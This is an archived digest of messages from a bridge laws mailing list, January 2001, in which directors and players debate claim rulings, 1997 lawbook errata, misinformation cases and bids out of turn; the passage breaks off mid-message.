-- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 14:15:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J3EXB20661 for bridge-laws-outgoing; Fri, 19 Jan 2001 14:14:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J3EQt20621 for ; Fri, 19 Jan 2001 14:14:27 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Thu, 18 Jan 2001 19:13:41 -0800 Message-ID: <018e01c081c5$e178baa0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <3.0.5.32.20010118145857.00875e90@mail.netvision.net.il> <006b01c0809d$a7528dc0$5713f7a5@oemcomputer> <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> <3.0.5.32.20010118145857.00875e90@mail.netvision.net.il> <3.0.5.32.20010119000139.0087fb50@mail.netvision.net.il> Subject: Re: [BLML] 1997 changes to laws, was Law 71: Concession cancelled Date: Thu, 18 Jan 2001 19:09:39 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Eitan Levy" > > > >Interesting. I have three copies of the ACBL version of the 1997 > >laws, all ordered at the same time from the same vendor (either the > >ACBL or Baron Barclay, I don't remember which). *One* of them came > >with an errata page. *None* of them contain either of the first two > >changes mentioned, but they *all* contain the third, the change to > >Law 17D - in the book, not on the errata page. Does the ACBL, at > >least, have an editing problem? > > > >Regards, > > > >Ed > > > Even more interesting. MY copy of the ACBL laws, ordered directly from the > ACBL and I suppose the first printing, contains none of these changes. Law > 17D appears in its old form, with the asterix in the incorrect place. > I have two copies, one 1997 (ordered immediately when it became available), one 1999. Both have the asterisk in the right place. Both came from the ACBL. Neither has the changes to the definition of convention. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 14:45:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J3ioe01329 for bridge-laws-outgoing; Fri, 19 Jan 2001 14:44:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J3iit01294 for ; Fri, 19 Jan 2001 14:44:44 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com; Thu, 18 Jan 2001 19:44:00 -0800 Message-ID: <01af01c081ca$1d6f8a80$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: <200101182216.OAA27032@mailhub.irvine.com> Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 19:35:00 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan wrote: > > Nelson Ford wrote: > > > > Unfortunately, this apsect of the law doesn't seem to be widely known. > > > In this case, I'd be trying to penalize someone whose only offense is > > > not scrutinizing the Lawbook to the same degree that we on BLML do. > > > > The club where I direct has a substantial number of Life Masters, > > very few (if any) of whom have more than a surface knowledge > > of any of the Laws (which is what prompted me to create the > > list at http://www.hsbridge.com/broken-rules.htm). > > > > If we do not enforce a Law because it is not widely known, there > > is little in the Law book which I *could* enforce. > > Yeah, I knew someone respond with something like this . . . > > Please keep in mind that my post was written not from a Director's > point of view, but rather from a player's. If it's agreed that this > interpretation of the Law is the correct one, then if the Director is > called, I think the Director has little choice but to enforce the Law. > However, the Director isn't going to enforce the laws if players don't > call him in the first place. I'm certainly going to call the Director > about an infraction, even if the opponents might not be aware they're > committing an infraction, if: (1) they *should* know, or can > reasonably be expected to know, that what they're doing is illegal, or > (2) the infraction may have damaged my side's interests in any way. > > If neither (1) nor (2) applies, however, then why would I bother to > call the Director, except to try to gain an unearned advantage over > someone who doesn't know about some obscure Law? No, thanks, I don't > want to play that way. You wouldn't call the Director, you would listen to the "claimant's" statement of clarification, and call the Director only if the "claim" is disputed. But let's assume you just want to continue play. What happens? Let's look: A statement as to the number of tricks that will be one or lost is a claim. No infraction yet. "After any concession or claim, play ceases." If play continues, all four players are committing an irregularity. However, if no one calls attention to the irregularity, as I read Law 9, then the Director doesn't need to get involved. There is no penalty for failing to call attention to an irregularity unless attention has been called to it [(L9B1(a)]. Those who, like Adam, are willing to continue play after a statement that is a claim but doesn't sound like one, without commenting on the illegality of playing on, are probably okay. If doing so leads to a problem later in the deal, the Director will not be happy. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 14:45:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J3jgj01618 for bridge-laws-outgoing; Fri, 19 Jan 2001 14:45:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rsc.anu.edu.au (rsc.anu.edu.au [150.203.35.129]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J3jbt01590 for ; Fri, 19 Jan 2001 14:45:37 +1100 (EST) Received: from medvesajt.anu.edu.au (medvesajt.anu.edu.au [150.203.35.241]) by rsc.anu.edu.au (8.10.0/8.10.0) with SMTP id f0J3jZJ11809 for ; Fri, 19 Jan 2001 14:45:36 +1100 (EST) Date: Fri, 19 Jan 2001 14:45:35 +1100 (EST) From: Mark Abraham X-Sender: mabraham@medvesajt.anu.edu.au To: Bridge Laws Mailing List Subject: [BLML] Youth Mania Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In a qualifying match for the Australian Youth Teams the following hand arose: Board 7 Nil Vul Dealer South T5 AKQ862 4 Q752 A873 642 J54 T973 KJT862 Q - AKJ43 KQJ9 - A9753 T985 N E S W 1D! 3D! P 3H P 4H P P P South opened 1D showing 10-14 with 4+S 0-3H West bid 3D which partner alerted (an alert should not be given irrespective of the meaning under the relevant regulations). North enquired and was told that West showed hearts and clubs. North duly passed and East bid 3H. West now has unauthorised information that either he has misbid or partner does not remember the system. Law 16 does not permit him to choose to pass or rebid diamonds, and with two unexpected first round controls and honour-third trump support there is a case for West to make a black-suit cuebid in support of hearts. Certainly West cannot stop below 4H. An ethical West duly bid 3S and returned to 4H over partner's 4C cuebid. Hardly believing his luck, North passed and so did a conservative East. Declarer won AS and played a diamond to the Q and A. North ruffed the third round of spades and drew trumps endplaying declarer with the fourth round for six off - NS +600. The director was summoned because North wondered about the explanation he'd been given. The East-West agreement was determined to be that 3D was natural and weak. North clearly received misinformation, and so the director ruled that absent the misinformation North would have bid 3H and gone one off and so assigned a score for NS -100. After you stop choking, that was not what happened at the table. Clearly North-South were not damaged by the misinformation (as required by Law 40C), and there was no L16 infraction so the table result should stand. At the real table, an inexperienced West bid 4D, telling his partner off for forgetting the system. North now had information that West had a diamond preempt and East had an unknown hand that wanted to play 3H opposite a hand with hearts and clubs. North duly bid 4H... after all KQxx xx xxx KJxx makes 4H practically cold. This was not a success and went two off (the tempo is worth a trick in the form of a club ruff). The table score was NS -200. The director was summoned and again determined that the East-West agreement was that 3D was natural and weak. North clearly received misinformation, and West clearly acted on unauthorised information. The Director chose to rule that absent the first infraction (misinformation to North) would have lead again to 3H from North and assigned NS -100. North-South appealed the director's decision, which was upheld by the Appeals Committee. A procedural penalty was deemed inappropriate in this event considering the inexperienced status of the E-W pair. 1) Do you agree with the ruling? 2) Do you agree with the committee decision? My view ------- I find it hard to believe that the N-S result should depend on the ethics and experience of the West player. N-S were not damaged by the misinformation - it kept them out of a failing heart contract - and in fact were due to profit - as E-W were due to get to a failing heart contract. An assigned score based on L12C2 would indeed be -100/+100 in 3H by North, but L12C2 cannot be invoked by L40C because N-S were not damaged. [My bias: N-S are my teammates] Mark Abraham -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 15:15:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J4FFE10963 for bridge-laws-outgoing; Fri, 19 Jan 2001 15:15:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J4F9t10928 for ; Fri, 19 Jan 2001 15:15:09 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Thu, 18 Jan 2001 20:14:25 -0800 Message-ID: <01cc01c081ce$5d200700$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" References: Subject: Re: [BLML] Players making rulings by themselves Date: Thu, 18 Jan 2001 20:14:09 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Petr Jelinek" > Last night I came to a delayed table to ask them to hurry up. Players noted > me and as I was leaving I heard from the table player saying: "I will forbid > a spade lead." There had been a lead OOT. > 1) Am I to start giving ruling? (Seems funny - the player would forbid a > spade lead turning me into a clown.) I just cancelled any penalty.. Very good, and in accordance with L10B. > 2) Am I to apply PP? (they ignored TD even when TD was at the table a moment > before) > If you think the cancellation was not sufficient to educate the offender(s), and a lecture would not do the job either, a PP could be in order. Up to you, but it is customary to wait for a second offense before assessing a PP. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 16:26:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J5QBZ28860 for bridge-laws-outgoing; Fri, 19 Jan 2001 16:26:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J5Q4t28815 for ; Fri, 19 Jan 2001 16:26:05 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com; Thu, 18 Jan 2001 21:25:21 -0800 Message-ID: <020001c081d8$46125720$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 21:17:11 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Marvin L. French" > > There is no penalty for failing to > call attention to an irregularity unless attention has been called to it > [(L9B1(a)]. Brilliant, Marv. We know you meant "failing to summon the TD in regard to an irregularity unless..." Anonymous -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 18:49:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J7mBQ13274 for bridge-laws-outgoing; Fri, 19 Jan 2001 18:48:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J7m3t13231 for ; Fri, 19 Jan 2001 18:48:04 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id IAA24148; Fri, 19 Jan 2001 08:43:52 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id IAA01894; Fri, 19 Jan 2001 08:47:50 +0100 (MET) for Message-Id: <3.0.6.32.20010119090008.008334a0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 19 Jan 2001 09:00:08 +0100 To: "Petr Jelinek" , "Bridge Laws" From: alain gottcheiner Subject: Re: [BLML] Players making rulings by themselves In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 23:58 18/01/01 +0100, Petr Jelinek wrote: >Last night I came to a delayed table to ask them to hurry up. Players noted >me and as I was leaving I heard from the table player saying: "I will forbid >a spade lead." There had been a lead OOT. >1) Am I to start giving ruling? AG : your duty is to intervene : LL 81B4 - 81B6. (Seems funny - the player would forbid a >spade lead turning me into a clown.) I just cancelled any penalty.. AG : they went against LL 9B1a and 9Bd2, and of course 10A. You may use 10B and 12A3 to modify the player's 'ruling'. I would ask them about what they did explain to eachother. If the 'ruling' was even slightly incorrect (bet it was ?), I would cancel it. If it was perfectly correct, I wouldn't, if only to avoid being clownized (?). >2) Am I to apply PP? (they ignored TD even when TD was at the table a moment >before) AG : you are, emphatically. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 19:04:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J84dr19044 for bridge-laws-outgoing; Fri, 19 Jan 2001 19:04:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J84Wt19002 for ; Fri, 19 Jan 2001 19:04:33 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA08136; Fri, 19 Jan 2001 09:04:29 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Fri Jan 19 09:07:44 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JZ33RLC3C0002CQW@AGRO.NL>; Fri, 19 Jan 2001 09:03:32 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Fri, 19 Jan 2001 08:59:04 +0100 Content-return: allowed Date: Fri, 19 Jan 2001 09:03:31 +0100 From: "Kooijman, A." Subject: RE: [BLML] 1997 changes to laws, was Law 71: Concession cancelled To: "'Eitan Levy'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B785@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >> > >>2. LAW 17D > >>The asterix was moved from _.........normally*_ to > _......any significant > >>way from his cancelled call *.__ > >> > > > >Interesting. I have three copies of the ACBL version of the 1997 > >laws, all ordered at the same time from the same vendor (either the > >ACBL or Baron Barclay, I don't remember which). *One* of them came > >with an errata page. *None* of them contain either of the first two > >changes mentioned, but they *all* contain the third, the change to > >Law 17D - in the book, not on the errata page. Does the ACBL, at > >least, have an editing problem? > > > >Regards, > > > >Ed > > > Even more interesting. MY copy of the ACBL laws, ordered > directly from the > ACBL and I suppose the first printing, contains none of these > changes. Law > 17D appears in its old form, with the asterix in the incorrect place. Good research gentlemen. The first edition of the ACBL '97 lawbook was printed before the WBF officially approved the '97 laws. And going through the ACBL version (probably the last WBF concept) we found some minor (last?) mistakes, among which the asterix. The second edition appeared only some months thereafter and then the asterix was moved. It was after that when we found out that this 71C sentence shouldn't be there. The proof could be to ask the French what their translation says. They waited a year, the asterix and the 71C sentence should be changed.But if not, that does not change our decisions. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 20:43:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J9gYR02764 for bridge-laws-outgoing; Fri, 19 Jan 2001 20:42:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from listonosz.comarch.pl (postfix@listonosz.comarch.pl [195.116.193.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J9gAt02760 for ; Fri, 19 Jan 2001 20:42:15 +1100 (EST) Received: from comarch.pl (pcciborowski.sse.comarch [10.1.10.136]) by listonosz.comarch.pl (Postfix) with ESMTP id 53963176AE for ; Fri, 19 Jan 2001 10:41:54 +0100 (CET) Message-ID: <3A680B70.779FC6BB@comarch.pl> Date: Fri, 19 Jan 2001 10:40:00 +0100 From: Konrad Ciborowski X-Mailer: Mozilla 4.75 [fr] (Win98; U) X-Accept-Language: fr MIME-Version: 1.0 To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? References: <200101180132.RAA06740@mailhub.irvine.com> <01e901c08111$edec7e20$56991e18@san.rr.com> <3.0.6.32.20010118121128.007e1c60@ux1.cts.eiu.edu> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grant Sterling a écrit : > > Voting "yes, declarer has claimed" I'd like to add that the in the > >50s the Polish version of the Laws contained a special regulation on > >this (we had plenty of > >such extra regulations; the most astonishing was that once in the > >sixties > >every trick in NT starting with the 10th was counted for 20 points!; > >so 3NT= 600, 3NT +1 = 620; 3NT +2 = 640 etc.). > >The regulation was: "if declarer makes during the play any announcement > >like > ><>, <> or > >similar, defenders have the right to make declarer table his hand > >and continue playing with his cards exposed". > > Good God! To what purpose? And was the purpose of scoring 3NT +1 as 620? I never said I was in favor of such regulation. Konrad Ciborowski -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 21:55:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JAsI327222 for bridge-laws-outgoing; Fri, 19 Jan 2001 21:54:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JAsBt27181 for ; Fri, 19 Jan 2001 21:54:12 +1100 (EST) Received: from [62.7.120.109] (helo=pbncomputer) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 14JZBG-00030K-00 for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 10:54:06 +0000 Message-ID: <004f01c08206$28650e60$6d78073e@pbncomputer> From: "David Burn" To: References: Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 10:53:30 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Fearghal wrote: > Literally he has, but intentionally he has not. > > I vote No - he has not claimed. A player fails to follow suit, because he has a spade in with his clubs. Has he revoked? According to the argument above, he has not, because he did not mean to. > I wish the Law book could be taken literally but that is not the case > yet so I will use commonsense. Unfortunately, you do not have the option of using "common sense" when you disagree with the law book, and following the laws otherwise. In any case, to say that "we will win twelve tricks" is not a claim is not "common sense" but nonsense. Laval then wrote: > Fully agree and vote "no" at the club and low tournement levels. > Lets play bridge. Equally unfortunately, bridge is defined by its laws. If a statement is a claim in the Bermuda Bowl, then it is a claim in Hogwash, Arizona also. The good people of Hogwash may decide among themselves never to enforce the laws relating to claims when a player makes such a statement, but this does not alter the fact that "we are going to make twelve tricks" is a claim. I find this entire debate quite mind-boggling. With which of these words are people having difficulty? "Any statement to the effect that a contestant will win a specific number of tricks is a claim of those tricks." The question of whether one should enforce the law when a player inadvertently makes a claim is an entirely separate question from that of whether "we are going to make twelve tricks" actually is a claim. Not for the first time, people are allowing themselves to be swayed by considerations of how the game "should be played" when answering what really is a trivial question about the words in the laws. The only reason it has appeared here at all is that DWS gave the wrong answer to it when it was posted on r.g.b recently, and cannot bring himself to admit this. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 23:53:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JCqIV07507 for bridge-laws-outgoing; Fri, 19 Jan 2001 23:52:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-3.cais.net (stmpy-3.cais.net [205.252.14.73]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JCqBt07466 for ; Fri, 19 Jan 2001 23:52:11 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-3.cais.net (8.11.1/8.11.1) with ESMTP id f0JCq2v28864 for ; Fri, 19 Jan 2001 07:52:03 -0500 (EST) Message-Id: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 19 Jan 2001 07:51:05 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: <01C080C7.541B5AE0@MIKE> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 08:51 PM 1/17/01, Michael wrote: >At 09:05 PM 1/14/01, Eric wrote: > > > Dealer South, North bids out of turn, not accepted, so South is > >silenced. Are there any constraints on North's bidding? > > >Yes, there are constraints imposed by L23. North should not take any > >action which is more likely to succeed with partner barred than it > >would be were partner free to bid. TD's authority to adjust (given > >damage) comes from L72B1. > >I'm sure that either you have mis-typed or I have min-interpreted your >comment here. Let's look at the text. Indeed. I did not intend "it" to have "action" as its referent, but wrote badly. Let me try again: North should not take any action by which he is likely to achieve a more successful outcome with partner barred than what would have been the expected outcome with his partner free to bid. >L23: When the penalty for an irregularity under any Law would compel the >offender's partner to pass at his next turn, if the Director deems >that the >offender, at the time of his irregularity, could have known that the >enforced pass would be likely to damage the non-offending side, he shall >require the auction and play to continue and consider awarding an >adjusted >score . > >This law is a direction only to the Director, not the players. It does >_not_ pose any restriction on the players whatsoever. Implicitly, we >could >say that this Law advises players against the tactic of deliberately >bidding out of turn for the purpose of forcing partner to pass, >because the >TD is empowered to guard against that tactic. But the actual language of >this Law does not constrain the legal actions of a player per se. That's a semantic side-issue. The law's recently added spate of "might have"s and "could have"s have created a lot of positions where the player's motives are presumed to be pure, infractions are not subject to PPs/DPs, but his actions can result in a favorable result being taken away. Whether we call these "restrictions" (which Mike would not), "constraints" (the word I used) or something else, they are what we're talking about. >Consider the implications of your interpretation, at least as you >expressed >it. Suppose you open out of turn holding a balanced 17-count. Given the >restrictions on partner after the dust settles, your likely recourse >is an >opening 3nt bid. Now this would have been an egregious misbid and >doomed to >almost certain failure, whatever your methods, opposite a partner who is >free to bid. However, you bid it in this situation, opposite a barred >partner, with the hope (if not expectation) of success. Therefore this >bid >is "more likely to succeed with partner barred than it would be were >partner free to bid," although I am confident that we are in agreement >that >it is a perfectly legal bid, regardless of the outcome, and not >subject to >adjustment in any event. In light of the rewording, I hope this becomes clear. We allow the 3NT bid because at the time the bid is made, it is *not* more likely to produce a successful outcome than would have occurred had partner been free to bid. This is not the same as "...would have occurred had he bid 3NT with partner free to bid." >The test posed by L23 is not principally of the bid made by offender, but >of the possibility that the offense itself was deliberate, in the context >of his subsequent action and the final result. This is the debatable point, and I expect it will be debated, between the "intent matters" camp and the "we don't read minds" camp. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 00:20:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JDJdx17223 for bridge-laws-outgoing; Sat, 20 Jan 2001 00:19:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JDJVt17185 for ; Sat, 20 Jan 2001 00:19:32 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id OAA22258; Fri, 19 Jan 2001 14:15:21 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id OAA11130; Fri, 19 Jan 2001 14:19:18 +0100 (MET) for Message-Id: <3.0.6.32.20010119143138.00830cf0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 19 Jan 2001 14:31:38 +0100 To: Mark Abraham , Bridge Laws Mailing List From: alain gottcheiner Subject: Re: [BLML] Youth Mania In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:45 19/01/01 +1100, Mark Abraham wrote: >In a qualifying match for the Australian Youth Teams the following hand >arose: > >Board 7 >Nil Vul >Dealer South > T5 > AKQ862 > 4 > Q752 >A873 642 >J54 T973 >KJT862 Q >- AKJ43 > KQJ9 > - > A9753 > T985 > >N E S W > 1D! 3D! >P 3H P 4D 4H >South opened 1D showing 10-14 with 4+S 0-3H > >West bid 3D which partner alerted (an alert should not be given >irrespective of the meaning under the relevant regulations). > >North enquired and was told that West showed hearts and clubs. North duly >passed and East bid 3H. > >West now has unauthorised information that either he has misbid or >partner does not remember the system. Law 16 does not permit him to >choose to pass or rebid diamonds, and with two unexpected first round >controls and honour-third trump support there is a case for West to make >a black-suit cuebid in support of hearts. Certainly West cannot stop >below 4H. AG : there is one important question : what was noted as natural preempt ? 3D over catchall 1D opening ? Or 3D against *this* opening ? If the pair plays 1S-3D as showing H+C (why not ?), then I'd be prone to beleive that this one shows H+C too. Anyway, let's go 